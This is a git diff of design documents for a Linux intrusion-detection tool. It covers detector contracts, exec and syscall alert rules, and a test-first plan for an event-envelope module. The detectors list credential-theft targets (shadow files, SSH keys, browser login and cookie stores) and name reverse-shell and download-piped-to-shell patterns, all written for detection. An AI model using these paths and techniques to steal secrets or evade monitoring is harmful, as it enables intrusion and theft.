- Emit: key `del:<pid>`, `pids=(pid,)`, detail `pid=… comm=… exe=[…]`.
|
||||
|
||||
## 2.6 `input_snooper` — SID 100032, HIGH
|
||||
|
||||
Process holding a keyboard/HID event device open (keylogger tell).
|
||||
|
||||
- Match, per process: skip if `comm in cfg.input_snooper_allow_comms`; then scan
|
||||
`fd_targets` for a target starting with `("/dev/input/event", "/dev/uinput",
|
||||
"/dev/hidraw")`. **First** matching fd emits and then `break` (at most one
|
||||
alert per process).
|
||||
- Emit: key `input:<pid>:<target>`, `pids=(pid,)`, detail
|
||||
`pid=… comm=… fd=… has input device open: <target>`.
|
||||
- Config: `input_snooper_allow_comms` (display servers, compositors, remappers).
|
||||
|
||||
## 2.7 `credential_access` — SID 100033, CRITICAL
|
||||
|
||||
Live process with a sensitive credential file open.
|
||||
|
||||
- Match, per process: skip if `comm in cfg.credential_access_allow_comms`; then
|
||||
per fd target (with a trailing ` (deleted)` stripped), classify via
|
||||
`_sensitive_kind`, first hit emits then `break`. Classification precedence:
|
||||
1. exact file in `{/etc/shadow, /etc/gshadow, /etc/security/opasswd}` →
|
||||
"system credential database";
|
||||
2. matches `cfg.credential_access_extra_paths` (entry ending `/` = prefix;
|
||||
else exact or `entry/` prefix) → "configured credential path";
|
||||
3. path contains `/.ssh/` and basename starts `id_` or ends `.pem`/`.key` →
|
||||
"private SSH key";
|
||||
4. path under `/etc/NetworkManager/system-connections/` → "NetworkManager
|
||||
secret profile";
|
||||
5. basename in `{logins.json, key4.db, "Login Data", Cookies}` **and** path
|
||||
(lowercased) contains a browser marker (`/.mozilla/`, `/firefox/`,
|
||||
`/chromium/`, `/google-chrome/`, `/chrome/`, `/brave`, `/vivaldi/`,
|
||||
`/edge/`) → "browser credential store".
|
||||
|
||||
Non-absolute paths are never sensitive.
|
||||
- Emit: key `cred:<pid>:<target>`, `pids=(pid,)`, detail
|
||||
`pid=… comm=… fd=… has <kind> open: <target>`.
|
||||
- Config: `credential_access_allow_comms`, `credential_access_extra_paths`.
|
||||
|
||||
## 2.8 `stealth_network` — SID 100036, MEDIUM or HIGH
|
||||
|
||||
Sockets in families attackers use to slide around TCP/UDP checks.
|
||||
|
||||
- Watched kinds: `{raw, sctp, dccp, packet, mptcp, tipc, xdp, vsock}` (matched
|
||||
on `sock.kind.lower()`).
|
||||
- Skip if: kind in `cfg.stealth_network_allow_kinds`; or `sock.comm` in
|
||||
`cfg.stealth_network_allow_comms`; or `sock.state` is non-empty and **not** in
|
||||
`{ESTAB, LISTEN, UNCONN, CONNECTED, SYN-SENT, SYN-RECV}`.
|
||||
- Severity: HIGH if kind in `{raw, packet, xdp}`; else HIGH if `state == LISTEN`
|
||||
or the peer is a public IP outside the egress trust list; else MEDIUM.
|
||||
- Emit: key `stealthnet:<kind>:<pid>:<local>:<peer>`, `pids=(pid,)` only when
|
||||
pid is known, detail `<kind> socket state=… local=… peer=… comm=<comm or ?>
|
||||
pid=<pid or ?>`.
|
||||
|
||||
## 2.9 `egress` — SID 100016, HIGH
|
||||
|
||||
Interpreter holding an outbound connection to a public IP.
|
||||
|
||||
- Match, per `established_sockets()`: `s.comm in cfg.interpreters`; peer host is
|
||||
public (`is_public_ip`); peer not in `cfg.egress_allow_cidrs`.
|
||||
- Emit: key `egr:<pid>:<host>`, `pids=(pid,)` when pid known, detail
|
||||
`pid=… comm=… -> <host>:<port> (interpreter to public IP)`.
|
||||
|
||||
## 2.10 `memory_obfuscation` — SIDs 100039 / 100048 / 100049
|
||||
|
||||
Inspects `/proc/<pid>/maps` shapes (never reads process memory). Per process,
|
||||
each map is classified by `_indicator`; **at most one alert per signature per
|
||||
process** (a per-process `seen` set). Precedence within a single map:
|
||||
|
||||
1. If `path` matches `cfg.memory_obfuscation_allow_paths` (prefix) → ignore.
|
||||
2. `path` basename contains a hide hint (`libhide`, `libprocesshide`,
|
||||
`process_hide`, `proc_hide`, `rootkit_hide`) → **`process_hiding_library`**,
|
||||
SID 100048, CRITICAL, classtype `process-hiding`.
|
||||
3. executable **and** library from a writable/runtime path (`/tmp/`, `/dev/shm/`,
|
||||
`/var/tmp/`, `/run/user/` with a `.so`/`.so.`/`.dylib` in the name) →
|
||||
**`process_injection_library`**, SID 100049, HIGH, classtype
|
||||
`process-injection`.
|
||||
4. executable **and** path contains `memfd:` or `(deleted)` →
|
||||
**`memory_obfuscation`**, SID 100039, CRITICAL.
|
||||
5. executable **and** writable (RWX) → `memory_obfuscation`, HIGH.
|
||||
6. executable **and** anonymous (`""`, `[heap]`, `[stack]`, `[anon…`,
|
||||
`[stack:…`) → `memory_obfuscation`, HIGH.
|
||||
|
||||
The `memory_obfuscation` signature (only) is additionally suppressed when
|
||||
`comm in cfg.memory_obfuscation_allow_comms` (JITs: java, node, browsers,
|
||||
dotnet, qemu, wine, wasmtime). The library signatures are **not** suppressed by
|
||||
that allow-list.
|
||||
|
||||
- Emit: key `mem:<signature>:<pid>:<lo>-<hi>`, `pids=(pid,)`, detail
|
||||
`pid=… comm=… <indicator detail> range=<lo>-<hi>`.
|
||||
|
||||
## 2.11 `new_listener` — SID 100013, HIGH
|
||||
|
||||
New listening socket absent from the startup baseline (see §1.5.1). No-op when
|
||||
`state.listener_baseline is None` (unarmed).
|
||||
|
||||
- Match, per `LISTEN` socket: identity `key = port/comm` where
|
||||
`port = local.rpartition(":")[2]` and `comm` defaults `?`. Skip if key in
|
||||
`state.listener_baseline`, or `port in cfg.listener_allow_ports`, or
|
||||
`comm in cfg.listener_allow_comms`.
|
||||
- Optional provenance gate: if `cfg.suppress_package_owned_listeners` and the
|
||||
owning process's `exe` `is_package_owned`, skip.
|
||||
- Emit: key `lis:<port>/<comm>`, `pids=(pid,)` when known, detail
|
||||
`new listening socket <local> by comm=<comm>`.
|
||||
|
||||
## 2.12 `new_suid` — SID 100014, HIGH or CRITICAL
|
||||
|
||||
SUID/SGID binary not in the baseline. No-op when `state.suid_binaries is None`
|
||||
**or** `state.suid_baseline is None` (see §1.5.3 — no alerts until an async scan
|
||||
result exists).
|
||||
|
||||
- Match, per path in `state.suid_binaries` not in `state.suid_baseline`:
|
||||
`hot = any(path.startswith(d.rstrip("/") + "/") for d in cfg.suid_hot_dirs)`.
|
||||
- Severity: CRITICAL if hot (writable dir), else HIGH.
|
||||
- Emit: key `suid:<path>`, no pids, detail
|
||||
`SUID/SGID binary in writable dir: <path>` (hot) or `new SUID/SGID binary:
|
||||
<path>`.
|
||||
|
||||
## 2.13 `persistence` — SID 100015, HIGH
|
||||
|
||||
Watched persistence-relevant file modified since the previous sweep. No-op when
|
||||
`state.persist_since is None` (unarmed).
|
||||
|
||||
- Input: walk `cfg.watch_persistence` (a dir → recurse `os.walk`, a file →
|
||||
itself). For each existing file, `mtime = os.lstat(path).st_mtime`
|
||||
(unreadable → skip).
|
||||
- Match: `mtime > state.persist_since` (the *previous* sweep's timestamp; §1.5.4).
|
||||
- Emit: key `persist:<path>`, no pids, detail `persistence file modified:
|
||||
<path>`.
|
||||
|
||||
## 2.14 `first_seen` — SIDs 100074 / 100075, MEDIUM
|
||||
|
||||
Network-rarity tracking with a self-owned persistent store. The store format,
|
||||
the `initialized` learn-once semantics, and the restart asymmetry are specified
|
||||
in §1.5.5 — not repeated here. Match summary:
|
||||
|
||||
- `first_public_destination` (100074): a `comm` reaches an `ESTAB` peer that is
|
||||
a public IP:port not previously recorded for it. Key
|
||||
`firstdest:<comm>:<ip:port>`, `pids=(pid,)` when known.
|
||||
- `first_listener_port` (100075): a `comm` opens a `LISTEN`/`UNCONN` tcp/udp
|
||||
socket on a numeric non-zero port not previously recorded for it. Key
|
||||
`firstlisten:<comm>:<port>`.
|
||||
|
||||
Both only alert when the store is already `initialized`; the recording of the
|
||||
new value happens regardless (so the alert fires once).
|
||||
|
||||
---
|
||||
|
||||
## 2.15 Port parity notes (Go port)
|
||||
|
||||
- The Go poll detectors for §2.3–§2.14 are **ported and pass the parity
|
||||
fixture** (`scripts/check-go-parity.py`), covering exact SID/severity/key/
|
||||
classtype/detail output. This document is the human-readable form of that
|
||||
fixture's contract.
|
||||
- `first_seen`/`new_listener`/`new_suid`/`persistence` receive injected baseline
|
||||
inputs in parity mode and use the opt-in live lifecycle described in §1 when
|
||||
`--state-dir` is supplied.
|
||||
- Watch two easily-missed rules when reviewing a port: the **first-match-then-
|
||||
break** behavior in `input_snooper`/`credential_access` (one alert per
|
||||
process), and the **per-signature `seen` dedup** in `memory_obfuscation` (one
|
||||
alert per signature per process, precedence-ordered).
|
||||
- `ld_preload`'s global check reads `/etc/ld.so.preload` **inside the detector**
|
||||
(or from an injected state field), not from the shared `SystemState` process
|
||||
view.
|
||||
147
docs/behavior/03-event-detection.md
Normal file
147
docs/behavior/03-event-detection.md
Normal file
|
|
@ -0,0 +1,147 @@
|
|||
<!-- SPDX-License-Identifier: GPL-3.0-or-later -->
|
||||
# 3. Event Detection
|
||||
|
||||
Scope: the transport-independent contract for exec and syscall events and the
|
||||
rules that turn them into alerts. Python remains the oracle. The Go port
|
||||
accepts replay fixtures and reproduces the alert envelopes. Its opt-in native
|
||||
exec and syscall sources now feed the same contract through `cilium/ebpf`;
|
||||
typed-host kernel transports remain a separate boundary.
|
||||
|
||||
Typed host-event rules are part of the same replay and catalog contract.
|
||||
|
||||
## 3.1 Exec events
|
||||
|
||||
`ExecEvent` fields are `pid`, `ppid`, `uid`, `parent_comm`, `filename`, and
|
||||
`argv`. `argv` excludes `filename`.
|
||||
|
||||
- `exec_comm` is the POSIX basename of `filename`. A trailing slash therefore
|
||||
produces an empty basename; ports must not clean the path first.
|
||||
- `argv_str` is `filename` and every captured argv item joined with one space,
|
||||
then stripped at both ends.
|
||||
- Rules AND every condition they specify. Values within one condition are ORed.
|
||||
- A rule with no positive condition is invalid. `parent_exclude` is a veto, not
|
||||
a positive condition.
|
||||
- `argv_regex` is case-insensitive and searches the whole `argv_str`.
|
||||
|
||||
Alert contract:
|
||||
|
||||
| Field | Value |
|
||||
|---|---|
|
||||
| signature | `exec_rule.<classtype>` |
|
||||
| key | `exec:<sid>:<pid>` |
|
||||
| pids | the event PID, even when zero |
|
||||
| detail | `sid=<sid> <msg> — pid=… ppid=… parent=… exec=… argv=[…]` |
|
||||
|
||||
The argv text in detail is truncated to 120 characters. Built-ins:
|
||||
|
||||
| SID | Severity | Classtype | Match |
|
||||
|---|---|---|---|
|
||||
| 100001 | CRITICAL | `fileless-execution` | filename begins `/tmp/`, `/dev/shm/`, or `/var/tmp/` |
|
||||
| 100002 | CRITICAL | `c2-reverse-shell` | reverse-shell regex in `argv_str` |
|
||||
| 100003 | CRITICAL | `web-rce` | web/DB parent launches a configured interpreter basename |
|
||||
| 100004 | HIGH | `ingress-tool-transfer` | curl/wget/fetch piped to a shell |
|
||||
|
||||
Configured rules are appended after built-ins from `[[exec_rules]]` tables in
|
||||
`exec_rules_file`. Missing files mean built-ins only. Unknown severity strings
|
||||
fall back to HIGH, matching Python.
|
||||
|
||||
## 3.2 Syscall events
|
||||
|
||||
`SyscallEvent` fields are `pid`, `ppid`, `uid`, `comm`, `syscall`, six unsigned
|
||||
arguments (`arg0`…`arg5`), and optional `text`. Missing arguments are zero.
|
||||
|
||||
Alert contract:
|
||||
|
||||
| Field | Value |
|
||||
|---|---|
|
||||
| signature | `syscall_rule.<classtype>` |
|
||||
| key | `syscall:<sid>:<pid>:<syscall>:<arg0-hex>:<arg2-hex>` |
|
||||
| pids | the event PID |
|
||||
| detail | rule metadata plus `arg0`…`arg3` formatted as prefixed lowercase hex |
|
||||
|
||||
Optional text is appended as ` text=[…]` and truncated to 80 characters.
|
||||
|
||||
| SID | Severity | Classtype | Match |
|
||||
|---|---|---|---|
|
||||
| 100060 | CRITICAL | `memory-obfuscation` | `mprotect`, arg2 contains both WRITE (`0x2`) and EXEC (`0x4`) |
|
||||
| 100061 | CRITICAL | `memory-obfuscation` | `mmap`, arg2 contains WRITE and EXEC |
|
||||
| 100062 | MEDIUM | `fileless-execution` | any `memfd_create` |
|
||||
| 100063 | HIGH | `anti-analysis` | `ptrace` request TRACEME (`0`), ATTACH (`16`), or SEIZE (`0x4206`) |
|
||||
| 100064 | MEDIUM | `anti-analysis` | any `seccomp`, or `prctl` arg0 `PR_SET_SECCOMP` (`22`) |
|
||||
| 100065 | HIGH | `credential-access` | `process_vm_readv` or `process_vm_writev` |
|
||||
| 100066 | MEDIUM | `memory-obfuscation` | `mlock`, `mlock2`, or `mlockall` |
|
||||
|
||||
## 3.3 Current Go acceptance boundary
|
||||
|
||||
`scripts/check-go-parity.py` replays shared JSON into both implementations and
|
||||
compares decoded `enodia.event.v1` alert envelopes exactly. Acceptance requires:
|
||||
|
||||
- all four built-in exec rules plus one configured rule;
|
||||
- all seven syscall rules and all ten host rules plus negative predicate cases;
|
||||
- identical SID, severity, signature, classtype, key, detail, PID list, host,
|
||||
and timestamp;
|
||||
- no BPF/root/kernel dependency for replay mode.
|
||||
|
||||
Replay flags are `--exec-events`, `--syscall-events`, and `--host-events`.
|
||||
They emit alert JSONL only and exit. They remain deterministic verification
|
||||
surfaces independent of the live source.
|
||||
|
||||
`--ebpf-exec` loads a compiled tracepoint program with `cilium/ebpf`, captures
|
||||
PID, parent PID, UID, caller comm, filename, and the first two arguments, then
|
||||
passes each record through the same exec rule engine, shared cooldown gate, and
|
||||
`enodia.event.v1` builder. Parent lookup uses CO-RE relocation against kernel
|
||||
BTF. Startup and reader failures update `ebpf`/`ebpf_exec` status and leave the
|
||||
poll loop running. The flag is opt-in and requires Go 1.25+ to build.
|
||||
|
||||
`--ebpf-syscall` attaches one raw-syscall entry tracepoint. An architecture-
|
||||
specific map allows only `mprotect`, `mmap`, `memfd_create`, `ptrace`, `prctl`,
|
||||
`seccomp`, `process_vm_readv`, `process_vm_writev`, `mlock`, `mlock2`, and
|
||||
`mlockall` through the BPF program, plus `setuid` and `setgid`, avoiding a
|
||||
user-space event for every host syscall. It captures the six arguments and the
|
||||
memfd name before routing syscall events through SIDs `100060`–`100066`.
|
||||
`setuid`/`setgid` become typed host events for SIDs `100071`/`100072`. The
|
||||
portable `fchmodat`/`fchownat` calls, plus legacy `chmod`/`chown`/`lchown` on
|
||||
amd64, become `chmod`/`chown` host events for SID `100070`. Relative paths are
|
||||
resolved against `/proc/<pid>/cwd` before matching persistence prefixes. The
|
||||
`capset` effective bitmap is decoded to canonical capability names for SID
|
||||
`100077`. `finit_module` resolves its file descriptor through `/proc/<pid>/fd`
|
||||
and supplies path/module fields to SID `100078`. Syscall numbers come from
|
||||
build-target `golang.org/x/sys/unix` constants rather
|
||||
than a hand-maintained architecture table. Static builds are exercised for
|
||||
`amd64`, `arm64`, `riscv64`, and big-endian `s390x`.
|
||||
|
||||
## 3.4 Typed host events
|
||||
|
||||
`HostEvent` covers `tcp_connect`, `listen`, `bind`, `accept`, `file_write`,
|
||||
`chmod`, `chown`, `setuid`, `setgid`, `capset`, and `module_load`. Compatibility
|
||||
aliases accepted by `ruleops` are stable: `type`, `remote_*`, `bind_*`,
|
||||
`listen_*`, `uid_target`, `gid_target`, `caps`, `cap_effective`, singular
|
||||
`capability`, and module `name`. Numeric strings accept decimal/hex/octal;
|
||||
absent target UID/GID values are `-1`, not zero.
|
||||
|
||||
Host alerts use signature `host_rule.<classtype>` and a key containing every
|
||||
typed identity field. Capabilities are normalized uppercase for matching and
|
||||
rendering. Built-in SIDs are `100067`–`100073` and `100076`–`100078`.
|
||||
|
||||
## 3.5 Mixed pipeline and catalog
|
||||
|
||||
`--event-stream` accepts mixed JSONL (or `-` for stdin), infers exec/syscall
|
||||
events when no explicit type exists, and routes typed events through one
|
||||
transport-independent rule set. `--rules-list` and `--rules-show` expose the
|
||||
same sorted metadata and conditions as Python `ruleops`.
|
||||
|
||||
The native exec/syscall readers and all replay modes feed this boundary. The
|
||||
syscall reader also supplies typed-host transports for root UID/GID transition
|
||||
requests, persistence-path permission/ownership changes, and capability-set
|
||||
requests. `finit_module` supplies module-load events with resolved paths.
|
||||
Interpreter `write`, `writev`, `pwrite64`, `pwritev`, and `pwritev2` calls are
|
||||
filtered by the same comm list as SID `100069`, correlated across raw syscall
|
||||
enter/exit in a bounded BPF map, emitted only for positive byte counts, and
|
||||
resolved through `/proc/<pid>/fd`. Successful
|
||||
IPv4/IPv6 `connect` and `bind` calls use the same enter/exit correlation and
|
||||
in-kernel interpreter filter for SIDs `100067`/`100073`. Connect events are
|
||||
verified against `/proc/net/tcp{,6}` by socket inode so UDP cannot be mislabeled
|
||||
as `tcp_connect`. Successful `listen`, `accept`, and `accept4` calls resolve
|
||||
their socket FD to local/peer TCP endpoints through the same inode tables for
|
||||
SIDs `100068`/`100076`. Every current typed-host event family now has a native
|
||||
transport.
|
||||
|
|
@ -38,8 +38,8 @@ Written in port-priority order. Status reflects which documents exist.
|
|||
| # | File | Covers | Status |
|
||||
|---|------|--------|--------|
|
||||
| 1 | [`01-sweep-and-state.md`](01-sweep-and-state.md) | `system.py` capture, `daemon.py` sweep loop + baseline lifecycle, `alert.py`, detector registry, `config.py` timing knobs | **written** |
|
||||
| 2 | `02-poll-detectors.md` | the twelve `detectors/*` — per-detector input → match → output contract | planned |
|
||||
| 3 | `03-event-detection.md` | `event.py`, exec/syscall/host rule engines, `ruleops.py`, `sids.py` | planned |
|
||||
| 2 | [`02-poll-detectors.md`](02-poll-detectors.md) | the twelve `detectors/*` — per-detector input → match → output contract | **written** |
|
||||
| 3 | [`03-event-detection.md`](03-event-detection.md) | `event.py`, exec/syscall/host rule engines, `ruleops.py`, `sids.py` | **written** |
|
||||
| 4 | `04-integrity.md` | `fim.py`, `pkgdb.py`, `selfprotect.py`, `assurance.py` | planned |
|
||||
| 5 | `05-rootcheck.md` | `rootcheck.py` anti-rootkit cross-view checks | planned |
|
||||
| 6 | `06-posture.md` | `posture.py` advisory host-hygiene checks | planned |
|
||||
|
|
|
|||
295
docs/superpowers/plans/2026-07-10-eve-event-envelope.md
Normal file
295
docs/superpowers/plans/2026-07-10-eve-event-envelope.md
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
# EVE-Style Event Envelope (Phase 0) Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Add an additive, EVE-style event envelope (`enodia.event.v1`) — a single typed wrapper with an `event_type` discriminator — as the reference contract that both today's Python and a future Go agent will emit.
|
||||
|
||||
**Architecture:** A new pure `enodia_sentinel/event.py` module provides a reference encoder that wraps any payload in a common envelope (`schema`, `event_type`, `timestamp`, `host`, and a payload sub-object keyed by the event type — exactly like Suricata EVE). It is *additive*: it does not change any existing emitter or break existing v1 contracts. Existing objects (starting with `Alert`) get a thin convenience wrapper. Compatibility tests and `SCHEMAS.md` pin the contract.
|
||||
|
||||
**Tech Stack:** Python 3 standard library only (`dataclasses`/functions, `datetime`, `os`), `unittest`.
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- **Stdlib-only.** No third-party imports in `enodia_sentinel/`. (Copied from CLAUDE.md engineering rules.)
|
||||
- **Additive v1.** Required v1 fields are never removed, renamed, or retyped; new work only adds. (Copied from `docs/SCHEMAS.md`.)
|
||||
- **Every operator-facing JSON contract updates `docs/SCHEMAS.md` and compatibility tests.** (Copied from CLAUDE.md documentation checklist.)
|
||||
- **SPDX header** `# SPDX-License-Identifier: GPL-3.0-or-later` as the first line of every new `.py` file. (Matches every existing module.)
|
||||
- **Shared checkout:** stage only files this plan creates/modifies; never `git add -A`. (Copied from CLAUDE.md.)
|
||||
- **Timestamp format:** `datetime.now().astimezone().isoformat()`. **Host:** `os.uname().nodename`. (Existing convention in `snapshot.py`.)
|
||||
- **Test command:** `python3 -m unittest <module> -v` from the repo root.
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Event envelope reference encoder
|
||||
|
||||
**Files:**
|
||||
- Modify: `enodia_sentinel/schemas.py` (add one constant)
|
||||
- Create: `enodia_sentinel/event.py`
|
||||
- Create: `tests/test_event_envelope.py`
|
||||
- Modify: `docs/SCHEMAS.md` (add `enodia.event.v1` section)
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: nothing (leaf module).
|
||||
- Produces:
|
||||
- `enodia_sentinel.schemas.EVENT_V1: str == "enodia.event.v1"`
|
||||
- `enodia_sentinel.event.EVENT_TYPES: frozenset[str]` — the closed v1 set `{"alert", "incident", "status"}`
|
||||
- `enodia_sentinel.event.build_event(event_type: str, payload: dict, *, host: str | None = None, timestamp: str | None = None) -> dict` — returns an envelope dict with keys `schema`, `event_type`, `timestamp`, `host`, and `event_type`'s value used as a key holding `payload`. Raises `ValueError` for an `event_type` not in `EVENT_TYPES`.
|
||||
|
||||
- [ ] **Step 1: Write the failing test**
|
||||
|
||||
Create `tests/test_event_envelope.py`:
|
||||
|
||||
```python
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Compatibility tests for the enodia.event.v1 envelope."""
|
||||
import os
|
||||
import unittest
|
||||
from datetime import datetime
|
||||
|
||||
from enodia_sentinel import event, schemas
|
||||
|
||||
|
||||
class TestEventEnvelope(unittest.TestCase):
|
||||
def test_schema_id_is_stable(self):
|
||||
self.assertEqual(schemas.EVENT_V1, "enodia.event.v1")
|
||||
|
||||
def test_build_event_shape_and_types(self):
|
||||
env = event.build_event("alert", {"sid": 100010})
|
||||
self.assertEqual(env["schema"], schemas.EVENT_V1)
|
||||
self.assertEqual(env["event_type"], "alert")
|
||||
self.assertIsInstance(env["timestamp"], str)
|
||||
self.assertIsInstance(env["host"], str)
|
||||
# EVE-style: payload lives under a key named by event_type.
|
||||
self.assertEqual(env["alert"], {"sid": 100010})
|
||||
|
||||
def test_timestamp_defaults_to_iso8601(self):
|
||||
env = event.build_event("status", {"running": True})
|
||||
# Parses as ISO-8601 without raising.
|
||||
datetime.fromisoformat(env["timestamp"])
|
||||
|
||||
def test_host_defaults_to_nodename(self):
|
||||
env = event.build_event("status", {"running": True})
|
||||
self.assertEqual(env["host"], os.uname().nodename)
|
||||
|
||||
def test_overrides_are_respected(self):
|
||||
env = event.build_event(
|
||||
"incident", {"id": "x"}, host="host-a", timestamp="2026-07-10T00:00:00-07:00")
|
||||
self.assertEqual(env["host"], "host-a")
|
||||
self.assertEqual(env["timestamp"], "2026-07-10T00:00:00-07:00")
|
||||
|
||||
def test_unknown_event_type_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
event.build_event("nope", {})
|
||||
|
||||
def test_event_types_is_closed_set(self):
|
||||
self.assertEqual(event.EVENT_TYPES, frozenset({"alert", "incident", "status"}))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Run test to verify it fails**
|
||||
|
||||
Run: `python3 -m unittest tests.test_event_envelope -v`
|
||||
Expected: FAIL — `ModuleNotFoundError: No module named 'enodia_sentinel.event'` (and `AttributeError` on `schemas.EVENT_V1`).
|
||||
|
||||
- [ ] **Step 3: Add the schema constant**
|
||||
|
||||
In `enodia_sentinel/schemas.py`, after the `RECONCILE_V1` line (currently the last constant), add:
|
||||
|
||||
```python
|
||||
EVENT_V1 = "enodia.event.v1"
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Write the module**
|
||||
|
||||
Create `enodia_sentinel/event.py`:
|
||||
|
||||
```python
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""EVE-style event envelope: one typed wrapper for every emitted record.
|
||||
|
||||
Every envelope carries a stable ``schema`` id, an ``event_type`` discriminator,
|
||||
a ``timestamp`` and ``host``, and the type-specific payload under a key named by
|
||||
the event type (mirroring Suricata's EVE JSON, where an ``alert`` record holds
|
||||
its detail under ``"alert"``). This is the reference contract a future Go agent
|
||||
must emit byte-for-byte; the Python side is the oracle.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
from .schemas import EVENT_V1
|
||||
|
||||
# Closed set of v1 discriminators. New types are added additively in later
|
||||
# phases (e.g. "dns", "tls", "http", "flow", "anomaly", "capture"); removing or
|
||||
# renaming a value is a breaking change.
|
||||
EVENT_TYPES = frozenset({"alert", "incident", "status"})
|
||||
|
||||
|
||||
def build_event(
|
||||
event_type: str,
|
||||
payload: dict,
|
||||
*,
|
||||
host: str | None = None,
|
||||
timestamp: str | None = None,
|
||||
) -> dict:
|
||||
"""Wrap ``payload`` in an ``enodia.event.v1`` envelope.
|
||||
|
||||
Raises ``ValueError`` if ``event_type`` is not a known v1 discriminator.
|
||||
"""
|
||||
if event_type not in EVENT_TYPES:
|
||||
raise ValueError(f"unknown event_type: {event_type!r}")
|
||||
if host is None:
|
||||
host = os.uname().nodename
|
||||
if timestamp is None:
|
||||
timestamp = datetime.now().astimezone().isoformat()
|
||||
return {
|
||||
"schema": EVENT_V1,
|
||||
"event_type": event_type,
|
||||
"timestamp": timestamp,
|
||||
"host": host,
|
||||
event_type: payload,
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Run test to verify it passes**
|
||||
|
||||
Run: `python3 -m unittest tests.test_event_envelope -v`
|
||||
Expected: PASS (6 tests).
|
||||
|
||||
- [ ] **Step 6: Document the contract**
|
||||
|
||||
In `docs/SCHEMAS.md`, add this section immediately after the intro paragraph that ends "...pin the required v1 fields." (before the `## enodia.alert.v1` heading):
|
||||
|
||||
```markdown
|
||||
## `enodia.event.v1`
|
||||
|
||||
Uniform envelope that wraps every emitted record with a typed discriminator.
|
||||
This is the Python↔Go interoperability contract: any implementation must emit
|
||||
the same envelope for the same input. Modeled on Suricata's EVE JSON — the
|
||||
type-specific payload lives under a key named by `event_type`.
|
||||
|
||||
Required fields:
|
||||
|
||||
| Field | Type | Meaning |
|
||||
|---|---|---|
|
||||
| `schema` | string | `enodia.event.v1`. |
|
||||
| `event_type` | string | Discriminator: `alert`, `incident`, or `status` (additive set). |
|
||||
| `timestamp` | string | ISO-8601 emission time. |
|
||||
| `host` | string | Hostname at emission time. |
|
||||
| `<event_type>` | object | Payload, under a key equal to `event_type` (e.g. `alert` holds an `enodia.alert.v1` object). |
|
||||
```
|
||||
|
||||
- [ ] **Step 7: Commit**
|
||||
|
||||
```bash
|
||||
git add enodia_sentinel/schemas.py enodia_sentinel/event.py tests/test_event_envelope.py docs/SCHEMAS.md
|
||||
git commit -m "feat(schema): add enodia.event.v1 EVE-style event envelope"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 2: Alert → event convenience wrapper
|
||||
|
||||
**Files:**
|
||||
- Modify: `enodia_sentinel/event.py`
|
||||
- Modify: `tests/test_event_envelope.py`
|
||||
- Modify: `docs/SCHEMAS.md` (one clarifying line)
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: `event.build_event` (Task 1); `enodia_sentinel.alert.Alert` with its existing `.to_dict()` method returning keys `sid, severity, signature, classtype, key, detail, pids`.
|
||||
- Produces: `enodia_sentinel.event.from_alert(alert, *, host: str | None = None, timestamp: str | None = None) -> dict` — an `enodia.event.v1` envelope with `event_type == "alert"` whose `alert` payload is exactly `alert.to_dict()`.
|
||||
|
||||
- [ ] **Step 1: Write the failing test**
|
||||
|
||||
Append to `tests/test_event_envelope.py` inside `TestEventEnvelope` (before the `if __name__` guard):
|
||||
|
||||
```python
|
||||
def test_from_alert_wraps_alert_payload(self):
|
||||
from enodia_sentinel.alert import Alert, Severity
|
||||
alert = Alert(
|
||||
Severity.CRITICAL, "reverse_shell", "rsh:4242",
|
||||
"pid=4242 peer=[8.8.8.8:4444]", (4242,),
|
||||
sid=100010, classtype="command-and-control")
|
||||
env = event.from_alert(alert, host="host-a")
|
||||
self.assertEqual(env["event_type"], "alert")
|
||||
self.assertEqual(env["host"], "host-a")
|
||||
# Payload is the untouched enodia.alert.v1 object.
|
||||
self.assertEqual(env["alert"], alert.to_dict())
|
||||
self.assertEqual(env["alert"]["signature"], "reverse_shell")
|
||||
self.assertEqual(env["alert"]["sid"], 100010)
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Run test to verify it fails**
|
||||
|
||||
Run: `python3 -m unittest tests.test_event_envelope.TestEventEnvelope.test_from_alert_wraps_alert_payload -v`
|
||||
Expected: FAIL — `AttributeError: module 'enodia_sentinel.event' has no attribute 'from_alert'`.
|
||||
|
||||
- [ ] **Step 3: Add the wrapper**
|
||||
|
||||
Append to `enodia_sentinel/event.py` (after `build_event`):
|
||||
|
||||
```python
|
||||
def from_alert(alert, *, host: str | None = None, timestamp: str | None = None) -> dict:
|
||||
"""Wrap an ``Alert`` (via its ``to_dict()``) in an ``alert`` event envelope."""
|
||||
return build_event("alert", alert.to_dict(), host=host, timestamp=timestamp)
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Run test to verify it passes**
|
||||
|
||||
Run: `python3 -m unittest tests.test_event_envelope -v`
|
||||
Expected: PASS (7 tests).
|
||||
|
||||
- [ ] **Step 5: Document the alert mapping**
|
||||
|
||||
In `docs/SCHEMAS.md`, in the `enodia.event.v1` table row for `<event_type>`, the text already notes `alert` holds an `enodia.alert.v1` object. Add one line directly beneath the table:
|
||||
|
||||
```markdown
|
||||
The reference encoder lives in `enodia_sentinel/event.py`
|
||||
(`build_event`, `from_alert`); `tests/test_event_envelope.py` pins the contract.
|
||||
```
|
||||
|
||||
- [ ] **Step 6: Commit**
|
||||
|
||||
```bash
|
||||
git add enodia_sentinel/event.py tests/test_event_envelope.py docs/SCHEMAS.md
|
||||
git commit -m "feat(schema): add Alert -> enodia.event.v1 reference wrapper"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 3: Full-suite regression check
|
||||
|
